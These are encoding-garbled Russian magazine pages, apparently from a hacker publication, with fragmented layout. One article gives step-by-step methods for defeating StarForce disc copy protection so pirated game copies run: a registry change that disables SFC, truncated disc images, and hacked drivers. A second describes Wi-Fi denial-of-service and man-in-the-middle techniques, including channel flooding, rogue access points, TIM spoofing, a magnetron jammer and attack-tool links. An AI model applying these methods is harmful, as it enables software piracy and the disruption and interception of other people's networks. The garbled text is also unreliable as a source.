îáðàç ìîæíî íàéòè â Ñåòè (îäíà èç
òàêèõ êîëëåêöèé íàõîäèòñÿ íà ñàé-
òå http://cdru.nightmail.ru).
Íî ýòî åùå íå âñå! Íîâûå âåðñèè
StarForce áëîêèðóþò ðàáîòó ôàé-
ëîâîé ñèñòåìû íà âðåìÿ ïðîâåðêè
êëþ÷åâîãî äèñêà è ñëåäÿò, ÷òîáû ñ
æåñòêîãî äèñêà íå ÷èòàëèñü çàùè-
ùàåìûå äàííûå. ×òî òóò ìîæíî

ïðåäïðèíÿòü? Ïîñêîëüêó áëîêèðîâêà ôàéëîâîé ñèñòåìû îñóùåñòâëÿåò-
ñÿ ïîñðåäñòâîì SFC (âîçìîæíî, íå âî âñåõ âåðñèÿõ StarForce), òî, îò-
êëþ÷èâ SFC, ìû âûðâåìñÿ íà ñâîáîäó. Çàïóñêàì ðåäàêòîð ðååñòðà, âè-
äèì âåòêó HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon, ìåíÿåì çíà÷åíèå ïàðàìåòðà «SfcDisable»
íà «dword:ffffff9d» è ïåðåçàãðóæàåìñÿ. ×òîáû âêëþ÷èòü åãî îáðàòíî, äî-
ñòàòî÷íî çàïèñàòü ñþäà 0.
Îäíàêî îòêëþ÷àòü SFC íà ïðîäîëæèòåëüíîå âðåìÿ íåæåëàòåëüíî � äîñòà-
íóò âèðóñû è ÷åðâè. Ê òîìó æå, ýòî ðàáîòàåò íå ñî âñåìè âåðñèÿìè StarForce.
Îáëàäàòåëè DVD-ïðèâîäîâ íà SCSI-øèíå ìîãóò çàïóñêàòü îáðàç îòòóäà. Çà-

ùèòà íå ðàñïîçíàåò ïîäìåíû è ýìóëÿòîð ðàáîòàåò
íà óðà. Íà CD-R/RW çàëèòü ïîëíûé îáðàç íåëüçÿ,
ïîñêîëüêó èíôîðìàöèÿ î ñòðóêòóðå ñïèðàëüíîé
äîðîæêè, ñîäåðæàùàÿñÿ â ôàéëå mds îòíèìàåò
~27 Ìá ñâîáîäíîãî ìåñòà è íà îáû÷íûé äèñê âëå-
çàåò òîëüêî ñ ïåðåæèãîì, äà è òî íå âñåãäà.

[õàêåðû-îáðåçêè] Õàêåðû îòâåòèëè íà ýòî áå-
çîáðàçèå ìåòîäîì «îáðåçêîâ». Âñå î÷åíü ïðîñòî.
Ïðîâåðÿÿ ñòðóêòóðó ñïèðàëüíîé äîðîæêè, çàùèòà
íå ïðîâåðÿåò (òî÷íåå íå ïðîâåðÿëà) åå ñîäåðæè-
ìîå. Ïóñêàåì Àëêîãîëÿ, äîæèäàåìñÿ, êîãäà «èç-
ìåðåíèå DPM» ïîäîéäåò ê êîíöó è íà÷íåòñÿ
ñáðîñ äàìïà, äàåì åìó ïîðàáîòàòü íåñêîëüêî ñå-
êóíä (÷òîáû óñïåë ñ÷èòàòüñÿ êîíåâîé êàòàëîã è
íåêîòîðûå äðóãèå ñëóæåáíûå ñòðóêòóðû, áåç êî-
òîðûõ Windows íå ñìîæåò îïîçíàòü äèñê), à çà-
òåì íàæèìàåì «îòìåíó». Àëêîãîëü ñïðîñèò, õî-

òèì ëè ìû óäàëèòü ôàéëû. Êîíå÷íî,
íåò! Ïóñêàåì Íåðîíà è çàïèñûâàåì
îñòàâøèåñÿ îò Àëêîãîëÿ mdf è mds
ôàéëû íà áîëâàíêó êàê îáû÷íûå
ôàéëû, âñòàâëÿåì çàïèñàííûé äèñê
â SCSI èëè USB CD-ROM, ïîäêëþ÷à-
åì ýìóëÿòîð è íàñëàæäàåìñÿ èãðîé,
ïðè÷åì ñàìó èãðó â ýòîì ñëó÷àå ïðè-
äåòñÿ çàïóñêàòü ñ âèí÷åñòåðà.
Ê ñîæàëåíèþ, â íîâûõ âåðñèÿõ ýòîò
òðþê óæå íå ðàáîòàåò. Òåïåðü çàùè-
òà ïîìèìî ñòðóêòóðû ñïèðàëüíîé
äîðîæêè ïðîâåðÿåò è åå ñîäåðæè-
ìîå. Òàê ÷òî æäåì íîâûõ âåðñèé[X
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ïðè ìåíüøåì çíà÷å-
íèè óãëà ñåêòîð Y óñ-
ïåâàåò óïëûòü, 
è ãîëîâêà âûíóæäåíà
æäàòü öåëûé âèòîê

êîãäà óãîë ìåæäó
ñåêòîðàìè X è Y ñî-
ñòàâëÿåò ~15 ãðàäó-
ñîâ, ïðè ïåðåõîäå íà
ñîñåäíèé âèòîê, ñåê-
òîð Y ñðàçó æå «ïîä-
ëåòàåò» ê îïòè÷åñêîé
ãîëîâêå

BusHound çà ðàáîòîé

Plextor Premuim � îäèí èç íåìíîãèõ ïðèâîäîâ, ïîääåðæèâàþùèõ çàïèñü
ñ çàäàííîé ïëîòíîñòüþ

íàñòîéêà Àëêîãîëÿ

ëîãîòèï StarForce, ïî êîòîðîìó
ýòó çàùèòó ëåãêî îòëè÷èòü îò
ëþáîé äðóãîé



ýìóëÿòîðîâ (ðàçðàáîò÷èêè Daemon Tools îáåùàþò âîò-âîò âûïóñòèòü ÷å-
òâåðòóþ âåðñèþ, ãëàâíîé «âêóñíîñòüþ» êîòîðîé ñòàíåò îáõîä StarForce áåç
âñåõ ýòèõ øàìàíñêèõ òàíöåâ ñ îáðàçàìè è ïðèâîäàìè). Ïîêà æå ïðèõîäèò-
ñÿ èñïîëüçîâàòü õàêíóòûå äðàéâåðà äëÿ StarForce, èç êîòîðûõ âûðåçàíà
áëîêèðîâêà ôàéëîâîé ñèñòåìû, áëàãîäàðÿ ÷åìó ïîëíîöåííûé îáðàç (íå îá-
ðåçîê!) ìîæíî ïóñêàòü ñ âèíòà. Ãäå èõ âçÿòü? Õîðîøèé âîïðîñ. Îíè ïî-
ñòîÿííî ìåíÿþò ñâîè àäðåñà, è äàòü ïîñòîÿííóþ ññûëêó äîâîëüíî çàòðóä-
íèòåëüíî. Ïîèñêîâèêè òàêæå íå ïîìîãàþò, ïîñêîëüêó ê òîìó ìîìåíòó, êîã-
äà îíè ïðîèíäåêñèðóþò õàêåðñêóþ ñòðàíè÷êó, îíà óæå óñïåâàåò óìåðåòü. À
âîò ôîðóìû � ýòî ñàìîå òî! Åñëè íåò õàêíóòûõ äðàéâåðîâ, ìîæíî çàïó-
ñòèòü ñíÿòûé îáðàç ïî Ñåòè. Ýìóëÿòîð åãî óâèäèò, à âîò çàùèòà � íåò. Ðà-
çóìååòñÿ, ëîêàëüíàÿ ñåòü åñòü äàëåêî íå ó âñåõ, à ïðèîáðåòàòü âòîðîé êîì-
ïüþòåð ðåøèòñÿ íå êàæäûé.

Âïðî÷åì, äåëà îáñòîÿò íå òàê óæ è ìðà÷íî. Â õîäó äî ñèõ ïîð îñòàåòñÿ ìíî-
æåñòâî ñòàðûõ âåðñèé çàùèòû, è Àëêîãîëü ðóëèò. Êñòàòè ãîâîðÿ, ïðè óñòà-
íîâêå îáíîâëåíèé íà èãðó, âìåñòå ñ ñàìîé ãàìåñîé çà÷àñòóþ îáíîâëÿåòñÿ
è çàùèòà, ïîýòîìó ïðèáåãàòü ê îáíîâëåíèÿì ñëåäóåò ëèøü òîãäà, êîãäà îíè
äåéñòâèòåëüíî íåîáõîäèìû. Ê òîìó æå ñ ýìóëÿòîðàìè áîðåòñÿ òîëüêî Star-

Force Professional (ñàìàÿ äîðîãàÿ è ñàìàÿ ãëþêàâàÿ). Ìíîãèå ôèðìû ïðåä-
ïî÷èòàþò Basic Edition (íàäåæíåå è äåøåâëå). Íà ñàéòå ðàçðàáîò÷èêîâ ïðè-
âîäèòñÿ ñâîäíàÿ òàáëèöà, ñðàâíèâàþùàÿ çàùèòû äðóã ñ äðóãîì (www.Star-
Force.ru/protection/protection.phtml?c=113), êîòîðóþ ïîëåçíî èçó÷èòü ïåðåä
òåì, êàê êðè÷àòü íà âåñü ìèð «ÿ StarForce ñëîìàë!». Basic Edition, äåéñòâè-
òåëüíî, ëîìàåòñÿ î÷åíü ïðîñòî, à âîò íàä Professional'îì ïðèõîäèòñÿ ïðîäå-
ëûâàòü âñå âûøåîïèñàííûå «òàíöû».

[íàòàíöåâàëèñü] Ïîñëå ýêñïåðèìåíòîâ ñî StarForce õîòåëîñü áû íà÷è-
ñòî óäàëèòü åå èç ñèñòåìû, ÷òîáû òàì íè÷åãî íå òîð÷àëî è íè ñ ÷åì íå êîí-
ôëèêòîâàëî. Òåîðåòè÷åñêè, ýòî äîëæåí ñäåëàòü ðàçðàáîò÷èê äåèíñòàëëÿ-
òîðà èãðóøêè, ïðàêòè÷åñêè æå «çà÷èñòêîé» îïåðàöèîííîé òåððèòîðèè ïðè-
õîäèòñÿ çàíèìàòüñÿ ñàìîñòîÿòåëüíî. Ïðåäâèäÿ ïðàâåäíûé ãíåâ ïîëüçîâà-
òåëåé, ðàçðàáîò÷èêè SF âûïóñòèëè ñïåöèàëüíóþ óòèëèòó, êîòîðàÿ âñå äåëà-
åò ñàìà, è îòäàëè åå íà âñåîáùåå ðàñòåðçàíèå. Êà÷àéòå: www.StarFor-
ce.ru/support/sfdrvrem.zip.

[çàêëþ÷åíèå] Òàê âñå-òàêè, âçëîìàí StarForce, èëè íåò? Ñîçäàòü ïèðàò-
ñêóþ êîïèþ çàùèùåííîãî äèñêà âïîëíå ðåàëüíî, íî ïðè ýòîì ïðèäåòñÿ âî-

çèòüñÿ ñ ýìóëÿòîðàìè, äåðãàòü øëåéôû, ïåðåõîäèòü íà SCSI-íàêîïèòåëè è
ñîâåðøàòü êó÷ó äðóãèõ ïðîòèâîåñòåñòâåííûõ äëÿ ðÿäîâîãî ãåéìåðà âåùåé.
«Îòâÿçàòü» StarForce îò äèñêà âðó÷íóþ âïîëíå ðåàëüíî è âñå ïîïóëÿðíûå
èãðû óæå äàâíî îòâÿçàíû, òàê ÷òî ãîâîðèòü î áåçàëüòåðíàòèâíîì ïåðåõîäå
íà ëèöåíçèîííóþ ïðîäóêöèþ ñëèøêîì ðàíî. Ëó÷øå ïîäîæäàòü íåñêîëüêî
äíåé (èëè íåäåëü), ïîêà õàêíóòàÿ ïðîãðàììà íå ïîÿâèòñÿ â Ñåòè.
Ëåãåíäàðíàÿ «íåëîìàåìîñòü» SF îòíîñèòñÿ èìåííî ê àâòîìàòè÷åñêîìó êîïè-
ðîâàíèþ äèñêîâ ñïåöèàëüíûì êîïèðîâùèêîì. Ïîÿâëåíèå òàêèõ êîïèðîâùèêîâ
îæèäàåòñÿ â áëèæàéøåì áóäóùåì. Ðàçðàáîò÷èêè Daemon Tools è Àëêîãîëÿ íå

äðåìëþò, íî âåäü è ðàçðàáîò÷èêè SF
òîæå! Êîðî÷å, ïåðåä íàìè ðàçâîðà÷è-
âàåòñÿ öåëîå ïðåäñòàâëåíèå â ñòèëå
«ïðîòèâîñòîÿíèå ùèòà è ìå÷à». Êàæ-
äûé èç íàñ ñàì âûáèðàåò «ñâîþ» ñòî-
ðîíó áàððèêàäû. Íî åñëè ïðèñîåäè-
íèòüñÿ ê õàêåðñêîìó ïëåìåíè ìîæåò
êàæäûé, òî ïðèíÿòü ó÷àñòèå â ðàçðà-
áîòêå çàùèòû � åäâà ëè. Âåäü ýòî
çàêðûòûé êëóá ñî ñâîèìè çàêîíàìè è
áèçíåñ-ìàøèíîé âíóòðè

èñõîäíûé ãðàôèê äðîæèò êàê çàìåðçøèé çÿáëèê è ñêîïèðîâàííûé äèñê,
åñòåñòâåííî, íå îïîçíàåòñÿ

ñãëàæåííûé ãðàôèê ïîñëå îáðàáîòêè � ñêîïèðîâàííûé äèñê çàïóñêà-
åòñÿ íîðìàëüíî

ôîðóì, ãäå èäóò îáñóæäåíèÿ ïðîáëåì âçëîìà StarForce
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| SSTARFORCE ÊÊÀÊ 
ÒÐÎßÍÑÊÀß ËËÎØÀÄÜ || 
Îäíî èç ëó÷øèõ îïðåäåëåíèé òðîÿíà
ãëàñèò: òðîÿí � ïðîãðàììà, âûïîëíÿþ-
ùàÿ â òàéíå îò ïîëüçîâàòåëÿ äåéñòâèÿ,
î êîòîðûõ þçåð íå îñâåäîìëåí è â êîòî-
ðûõ íå íóæäàåòñÿ. Òî, ÷òî StarForce ïà-
êîñòèò â ñèñòåìå, � âñåì èçâåñòíî.
Ïðàêòè÷åñêè ëþáàÿ ïðîãðàììà äåëàåò
òîæå ñàìîå (òàê ãîâîðÿò ðàçðàáîò÷èêè

SF), íî íèêîìó áû è íà óì íå ïðèøëî
îñòàâëÿòü â ñèñòåìå äûðó òàêèõ ðàçìå-
ðîâ. Äëÿ óêðåïëåíèÿ ïðîòèâîõàêåðñêîé
îáîðîíû, ÷àñòü çàùèòíîãî êîäà âûïîë-
íÿåòñÿ íà íóëåâîì êîëüöå, ÷òî äîñòèãà-
åòñÿ îòêðûòèåì óñòðîéñòâà \\.\PRO-
DRV06, çàáîòëèâî óñòàíîâëåííîãî
äðàéâåðîì StarForce. Äëÿ ýòîãî äàæå íå
íóæíî àäìèíèñòðàòîðñêèõ ïðàâ. Ëþáîé
ïîñòîðîííèé êîä ìîæåò ïðîíèêíóòü 

â RING0, íå ñïðàøèâàÿ íàøåãî ðàçðå-
øåíèÿ! ×óòü ïîçæå ýòî äûðó âðîäå áû
çàëàòàëè (ïðàâäà, ÿ íå ñìîòðåë íàñ-
êîëüêî íàäåæíî), îäíàêî óæå ñàì ôàêò
íàñòîðàæèâàåò. Íàøëè îäíó äûðó �
íàéäóò è äðóãèå. HAPS, extreme protec-
tor è äðóãèå âðàãè íàðîäà òàêæå èñïîëü-
çóþò ïåðåõîä íà íóëåâîå êîëüöî, íî ïðè
ýòîì óõèòðÿþòñÿ îáõîäèòñÿ áåç äûð è
ãîëóáûõ ýêðàíîâ.

îôèöèàëüíûé ñàéò çàùèòû



ÑËÀÁÀß ÇÀÙÈÙÅÍÍÎÑÒÜ ÏÐÎÒÎÊÎËÎÂ ÑÒÀÍÄÀÐÒÀ
802.11 ÂÊÓÏÅ Ñ ÍÈÇÊÈÌ ÓÐÎÂÍÅÌ ÏÎÄÃÎÒÎÂÊÈ ÑÈ-
ÑÒÅÌÍÛÕ ÀÄÌÈÍÈÑÒÐÀÒÎÐÎÂ ÌÍÎÃÈÕ ÑÅÒÅÉ, ÈÑ-
ÏÎËÜÇÓÞÙÈÕ ÝÒÎÒ ÑÒÀÍÄÀÐÒ, ÄÅËÀÞÒ ÏÐÎÍÈÊÍÎ-
ÂÅÍÈÅ Â ÁÅÑÏÐÎÂÎÄÍÓÞ ÑÅÒÜ ÇÀÄÀ×ÅÉ ÒÐÈÂÈÀËÜ-
ÍÎÉ ÄËß ËÞÁÎÃÎ ÁÎËÅÅ-ÌÅÍÅÅ ÊÂÀËÈÔÈÖÈÐÎÂÀÍ-
ÍÎÃÎ ÂÇËÎÌÙÈÊÀ | Rossomahaar [rossomahaar@mail.ru]

Ìû óæå ïèñàëè î êëàññè÷åñêèõ ïðèåìàõ âçëîìà WiFi-ñåòåé: îïèñûâàëè
óÿçâèìîñòè WEP, ïðîöåññ âçëîìà ñåòåâûõ êëþ÷åé è èñïîëüçîâàíèå ñî-
öèàëüíîé èíæåíåðèè. Íî ðåàëüíîñòü òàêîâà, ÷òî ïîìèìî ýòèõ ïðèåìîâ,
ïðîòîêîëû ñåìåéñòâà 802.11 óÿçâèìû è ê DoS-àòàêàì, êîòîðûå ïîçâî-
ëÿþò çàãëóøèòü ëþáóþ òî÷êó äîñòóïà, íàðóøèòü ôóíêöèîíèðîâàíèå ñå-
òè è ïåðåõâàòèòü äàííûå. Îá ýòîé óãðîçå ìû è ïîãîâîðèì ñåãîäíÿ.

[çà÷åì ýòî?] Çà÷åì ïðîâîäèòü DoS-àòàêó íà WiFi? ×òîáû âûâåñòè ñåòü èç
ñòðîÿ? Äà, íî íå òîëüêî äëÿ ýòîãî, âåäü DoS-àòàêà ÿâëÿåòñÿ âàæíîé ñîñòàâíîé
÷àñòüþ àòàê man-in-middle. Âîîáùå, ðàññìîòðåíèå àòàê ýòîãî òèïà, òåìà îò-
äåëüíîé ñòàòüè, íî åñëè êðàòêî, òî ñóòü äàííîé àòàêè çàêëþ÷àåòñÿ â çàìåíå
ðàáîòàþùåé â ñåòè òî÷êè äîñòóïà ñâîåé ñîáñòâåííîé. ×òîáû îòêëþ÷èòü çà-
êîííóþ AP íåîáõîäèìî åå çàäîñèòü, âûâåñòè èç ñòðîÿ. Ñîîðóäèòü ôàëüøèâóþ
òî÷êó äîñòóïà íå òàê óæ ñëîæíî, ãëàâíîå ïðîáëåìà çäåñü � â ñîâïàäåíèè ïà-
ðàìåòðîâ âíåäðÿåìîé òî÷êè äîñòóïà (òàêèõ, êàê ESSID, WEP, MAC) ñ ïàðàìå-
òðàìè òî÷êè-æåðòâû. Áîëåå ïðîñòàÿ ðåàëèçàöèÿ ýòîé àòàêè ñîñòîèò â ïîäìå-
íå êàêîãî-òî êëèåíòñêîãî õîñòà ñâîèì ïîääåëüíûì, ÷òî ãîðàçäî ïðîùå îñóùå-
ñòâèòü, òàê êàê íå íóæíî êîíôèãóðèðîâàòü âíåäðÿåìûé õîñò êàê AP, à íóæíî
òîëüêî èìèòèðîâàòü IP è MAC ïîäìåíÿåìîãî óçëà. 

[êëàññèôèêàöèÿ WiFi-DoS] Äîâîëüíî ëîãè÷íî âñå DoS-àòàêè íà WiFi
ðàçäåëèòü íà äâå ãðóïïû:

* Àòàêè íà òàê íàçûâàåìûé 1-é, ôèçè÷åñêèé óðîâåíü ñåòè
* Àòàêè íà 2-é óðîâåíü, ïðîãðàììíûé

Îïèñàíèå DoS àòàê íà WiFi-ñåòè
Àòàêè ïåðâîãî òèïà ïðåäñòàâëÿþòñÿ
äâóìÿ ðàçíîâèäíîñòÿìè. Ïåðâàÿ
ïðåäïîëàãàåò áîìáàðäèðîâêó ðàáî-
÷åé ÷àñòîòû óíè÷òîæàåìîãî õîñòà
ðàçëè÷íûì øóìîâûì òðàôèêîì,
ïðåäñòàâëÿþùèì èç ñåáÿ «èíôîð-
ìàöèîííûé ìóñîð». Ïî ñóòè, ýòî
îáûêíîâåííûé ôëóä êîððåêòíûì
òðàôèêîì, ïðèâîäÿùèé ê Denial of
Service. Âòîðàÿ ðàçíîâèäíîñòü çà-
êëþ÷àåòñÿ â èñïîëüçîâàíèè ñïå-
öèàëüíûõ øóìîãåíåðàòîðîâ, êîòî-
ðûå íàïðî÷ü çàáèâàþò ðàáî÷èé äè-
àïàçîí ïîìåõàìè è ïðåïÿòñòâóþò
íîðìàëüíîé ðàáîòå.
Àòàêè íà ïðîãðàììíûé óðîâåíü
ïðåäïîëàãàþò èñïîëüçîâàíèå óÿç-
âèìîñòåé â ðàçëè÷íûõ ïðîòîêîëàõ,
ñëóæáàõ, ñèñòåìàõ àóòåíòèôèêà-
öèè è ò.ï. Â ýòîé ñòàòüå áóäóò ðàñ-
ñìàòðèâàòüñÿ, ïîìèìî àòàê íà ïåð-
âûé óðîâåíü, àòàêè, íàöåëåííûå íà
ïðîòîêîëû áåñïðîâîäíûõ ñåòåé 802.11. Îòñþäà ìîæíî ïðåäëîæèòü åùå
îäíó êëàññèôèêàöèþ àòàê íà ïðîòîêîëû WiFi � â çàâèñèìîñòè îò ñòàí-
äàðòà áåñïðîâîäíîé ñåòè. Ñåãîäíÿ èñïîëüçóþòñÿ ñëåäóþùèå ñòàíäàðòû
ñåòåé 802.11: 802.11a, 802.11b, 802.11g, 802.11i. Áîëüøèíñòâî âûïóùåí-

FakeAP: www.blackalche-
my.to/project/fakeap
AirJack: http://802.11nin-
ja.net/airjack
HostAP: http://hostap.epitest.fi

Ñëåäóåò ïîíèìàòü, ÷òî âñå
îïèñàííûå â ýòîé ñòàòüå
äåéñòâèÿ íîñÿò èñêëþ÷è-
òåëüíî èññëåäîâàòåëüñêèé
õàðàêòåð è íàïðàâëåíû íà
ïðåäîòâðàùåíèå âîçìîæ-
íûõ ïðîáëåì ñ ôóíêöèîíè-
ðîâàíèåì áåñïðîâîäíûõ ñå-
òåé. Ñîáëþäàé çàêîíû ñòðà-
íû, â êîòîðîé òû æèâåøü.

Íà íàøåì äèñêå òû íàéäåøü
âñå îïèñàííûå â ñòàòüè
äðàéâåðà, ïðîãðàììû, ñöåíà-
ðèè è ìàññó äîêóìåíòàöèè.
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WI-FI



äàæå îêîí÷àòåëüíî îòðóáàòü òî÷êó äîñòóïà îò ñåòè, äîñòàòî÷íî ëèøü çàìóñ-
îðèòü åå ðàáî÷èé êàíàë è ðàçâåðíóòü ïîääåëüíóþ òî÷êó, ñòîÿùóþ íå ìåíåå,
÷åì íà ïÿòü êàíàëîâ îò ïîäàâëÿåìîé AP. Ïðè ýòîì õîðîøî áû èñïîëüçîâàòü
àíòåííó ñ âûñîêèì êîýôôèöèåíòîì óñèëåíèÿ äëÿ âíåäðÿåìîé òî÷êè.

Åñëè ïðîâîäèòü àíàëîãèþ ñ DoS-
àòàêàìè â ïðîâîäíûõ ñåòÿõ, òî òà-
êèå àòàêè ïî ñâîåé ñóòè áîëüøå íà-
ïîìèíàþò Distributed DoS, ãäå èñ-
ïîëüçóåòñÿ áîëüøîå ÷èñëî êîì-
ïüþòåðîâ, ãåíåðèðóþùèõ îãðîìíîå
êîëè÷åñòâî òðàôèêà â ñòîðîíó
æåðòâû, çàâàëèâàÿ åå ðàçëè÷íûìè
çàïðîñàìè è ò.ï. Â íàøåì æå ñëó-
÷àå, âìåñòî áîëüøîãî ÷èñëà àòà-
êóþùèõ êîìïüþòåðîâ èñïîëüçóåò-
ñÿ îäèí, íî èñïîëüçóþùèé áîëü-
øóþ ìîùíîñòü ïåðåäà÷è ñèãíàëà. 
Åùå îäèí ñïîñîá «çàâàëèòü» ñåòü

íîãî â íåäàâíåå âðåìÿ îáîðóäîâà-
íèÿ äëÿ áåñïðîâîäíûõ ñåòåé îðèåí-
òèðîâàíî íà ðàáîòó â ïåðâûõ äâóõ.
Ïîýòîìó çà÷àñòóþ àäìèíèñòðàòîðû
óæå ñëîæèâøèõñÿ áåñïðîâîäíûõ
ñåòåé íå èìåþò âîçìîæíîñòè, ïî
÷èñòî ýêîíîìè÷åñêèì ïðè÷èíàì,
ïåðåéòè íà áîëåå áåçîïàñíûé ïðî-
òîêîë 802.11g. Ðàññìîòðèì ïîäðîá-
íåå àòàêè íà ïåðâûé óðîâåíü áåñ-
ïðîâîäíûõ ñåòåé.

[ãëóøåíèå] Êàê òû çíàåøü, ñåòè WiFi èñïîëüçóþò äèàïàçîí ÷àñòîò 2,4�2,5 Ããö.
Ðàññìîòðèì ñòàíäàðò 802.11b, íàèáîëåå ðàñïðîñòðàíåííûé íà ñåãîäíÿøíèé
äåíü. Øèðèíà êàíàëà â äàííîì ñòàíäàðòå ñîñòàâëÿåò 22 ÌÃö, ìèíèìàëüíûé
ïðîìåæóòîê ÷àñòîò ìåæäó êàíàëàìè � 5 ÌÃö. Òàêèì îáðàçîì, âîçìîæíà ïå-
ðåäà÷à íà ÷åòûðíàäöàòè êàíàëàõ, ìíîãèå èç êîòîðûõ ñèëüíî ïåðåêðûâàþò-
ñÿ, âñëåäñòâèå ÷åãî â îäíîé çîíå ïîêðûòèå îäíîâðåìåííî íîðìàëüíî ìîãóò
ôóíêöèîíèðîâàòü òðè òî÷êè äîñòóïà, ó êîòîðûõ ÷àñòîòû íå ïåðåêðûâàþòñÿ
èëè ïåðåêðûâàþòñÿ î÷åíü ñëàáî. Ïîñìîòðè íà ñîîòâåòñòâóþùèé ðèñóíîê è
òåáå ñðàçó ñòàíåò ÿñåí ñìûñë íàïèñàííîãî âûøå :).
Ïðåäïîëîæèì, ìû õîòèì îòðóáèòü òî÷êó äîñòóïà îò cåòè, ÷òîáû ïðîâåñòè
àòàêó «÷åëîâåê ïîñåðåäèíå». Äëÿ ýòîãî ìû íà÷èíàåì íàïîëíÿòü «ìóñ-
îðîì» êàíàë, íà êîòîðîì ðàáîòàåò ýòà òî÷êà äîñòóïà. Äîïóñòèì, îíà ðàáî-
òàåò íà øåñòîì êàíàëå (âî ìíîãèõ òî÷êàõ ýòîò êàíàë óñòàíîâëåí «ïî óìîë-
÷àíèþ»). Åñëè íà÷àòü ïåðåäàâàòü ïî äàííîìó êàíàëó îãðîìíîå êîëè÷åñòâî
íè÷åãî íå ïðåäñòàâëÿþùèõ èç ñåáÿ ôðåéìîâ 802.11 ñî çíà÷èòåëüíîé ìîù-
íîñòüþ ñèãíàëà (EIRP), òî ó õîñòîâ, âçàèìîäåéñòâóþùèõ ñ ýòîé òî÷êîé ïî-
âûñèòñÿ BER (Basic Error Ratio � áàçîâûé êîýôôèöèåíò îøèáêè). Áîëü-
øàÿ ÷àñòü îáîðóäîâàíèÿ äëÿ áåñïðîâîäíîé ñâÿçè â òàêîì ñëó÷àå íà÷èíà-
åò èñêàòü âîçìîæíîñòü ñîåäèíåíèÿ íà ñîñåäíèõ êàíàëàõ, è åñëè îíè îáíà-
ðóæàò òàì òî÷êó ñ òåìè æå ïàðàìåòðàìè ESSID, WEP (à îíè åå îáíàðóæàò �
ìû ñäåëàåì äëÿ ýòîãî âñå âîçìîæíîå:) è áîëåå íèçêèì BER, òî îíè óñòà-
íîâÿò ñîåäèíåíèå ñ ýòîé òî÷êîé, «çàáèâ» íà çàêîííóþ AP. Ýòî äåéñòâóåò,
îäíàêî ñ íåêîòîðûìè îãîâîðêàìè. Âî-ïåðâûõ, íåêîòîðûå äåâàéñû ìîæíî
íàñòðîèòü òàêèì îáðàçîì, ÷òî îíè áóäóò ðàáîòàòü íà îäíîì è òîì æå êàíà-
ëå, âíå çàâèñèìîñòè îò óðîâíÿ BER, ÷åì ÷àñòî ïîëüçóþòñÿ àäìèíû ñåòåé
WiFi. Íî ýòî õàðàêòåðíî â îñíîâíîì äëÿ ñòàöèîíàðíîãî îáîðóäîâàíèÿ, �
ìîáèëüíûå õîñòû ïðàêòè÷åñêè âñåãäà îðèåíòèðóþòñÿ íà âçàèìîäåéñòâèå ñ
òî÷êîé äîñòóïà ïî ñòàáèëüíîìó êàíàëó.
Êàê âèäèøü, äëÿ ïðîâåäåíèÿ àòàêè «÷åëîâåê ïîñåðåäèíå» íå îáÿçàòåëüíî

| ÑÑÏÅÖÈÔÈ×ÍÛÅ ÀÀÒÀÊÈ ||
Ìîæíî ïðèâåñòè ðÿä êîíöåïöèé àòàê íà ñåòè, èñïîëüçóþùèå
îïðåäåëåííûå ñïåöèôè÷íûå íàñòðîéêè. Ê ïðèìåðó, â ñåòè ìî-
æåò áûòü âêëþ÷åí ðåæèì ýêîíîìèè ýíåðãèè. Â òàêîì ðåæèìå
õîñòû ìîãóò íàõîäèòüñÿ â ñïÿùåì ðåæèìå, à òî÷êà äîñòóïà áó-
äåò íàêàïëèâàòü ïðåäíàçíà÷åííûå èì ôðåéìû. Âçëîìùèê ìî-
æåò ïðèòâîðèòüñÿ ñîííûì õîñòîì, à çàòåì âûéòè èç ñïÿùåãî
ðåæèìà, ïîñëå ÷åãî îí ïîëó÷èò âñå ôðåéìû, ïðåäíàçíà÷åííûå
«óñíóâøåìó» õîñòó. Åùå îäèí ñïîñîá, ñ ïîìîùüþ êîòîðîãî
ìîæíî âîñïîëüçîâàòüñÿ â êîðûñòíûõ öåëÿõ ñïÿùèì ðåæèìîì
õîñòà, çàêëþ÷àåòñÿ â ïîääåëêå ñïåöèàëüíûõ ñëóæåáíûõ ôðåé-
ìîâ ñ TIM (Traffic Indication Map), ïîñûëàåìûõ òî÷êîé äîñòóïà.
AP ïîñûëàþò «ñïÿùèì» õîñòàì TIM-ôðåéìû ñ ñîîáùåíèåì î
ïîñòóïëåíèè íîâûõ äàííûõ äëÿ äàííîãî õîñòà, ÷òîáû òîò
«ïðîñíóëñÿ» è çàáðàë íàêîïèâøóþñÿ èíôîðìàöèþ. Åñëè êà-
êèì-òî îáðàçîì ïåðåêðûòü íàñòîÿùèì TIM-ôðåéìàì äîñòóï ê
õîñòó, òî òî÷êà äîñòóïà áóäåò âûíóæäåíà óíè÷òîæàòü íàêîïèâ-
øèåñÿ è íå ïîëó÷åííûå õîñòîì ôðåéìû, òàê êàê èìååò îãðàíè-
÷åííûé ðàçìåð áóôåðà äëÿ èõ õðàíåíèÿ.

êîíôèãóðèðóåì hostap

void11 ñ ãðàôè÷åñêèì èíòåðôåéñîì
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ñòàíäàðòà 802.11 çàêëþ÷àåòñÿ â èñïîëüçîâàíèè ñïåöèàëüíî ñêîíñòðóè-
ðîâàííîé «ãëóøèëêè», ïðåäñòàâëÿþùåé ñîáîé óñòðîéñòâî, ãåíåðèðóþ-
ùåå øóìû â îïðåäåëåííîì äèàïàçîíå ÷àñòîò. Î÷åíü ìîùíûé øóìîãåíå-
ðàòîð ìîæíî èçãîòîâèòü èç ìàãíåòðîíà � äåâàéñà, èñïîëüçóþùåìñÿ â
ìèêðîâîëíîâûõ ïå÷àõ. Èíòåðåñíî, ÷òî ìàãíåòðîí ðàáîòàåò íà ÷àñòîòå
2,445 ÃÃö ïëþñ-ìèíóñ îïðåäåëåííîå ìåãàãåðö, îáû÷íî âåñüìà çíà÷è-
òåëüíîå. Óãàäàé, êàêîé êàíàë îí ïåðåêðûâàåò â ïåðâóþ î÷åðåäü? Êîíå÷-
íî, ñàìûé èñïîëüçóåìûé � øåñòîé.
Áåñïðîâîäíûå ñåòè áåççàùèòíû ïåðåä àòàêàìè íà ïåðâûé óðîâåíü.
Åäèíñòâåííîå, ÷òî ìîæíî ïðåäïðèíÿòü � ïîïðîáîâàòü îáíàðóæèòü
èñòî÷íèê ïîìåõ. Ýòî ìîæíî ñäåëàòü ìåòîäîì òðèàíãóëÿöèè, ïóòåì çà-
ìåðà óðîâíÿ ñèãíàëà øóìîãåíåðàòîðà â íåñêîëüêèõ òî÷êàõ. Íà îñíî-
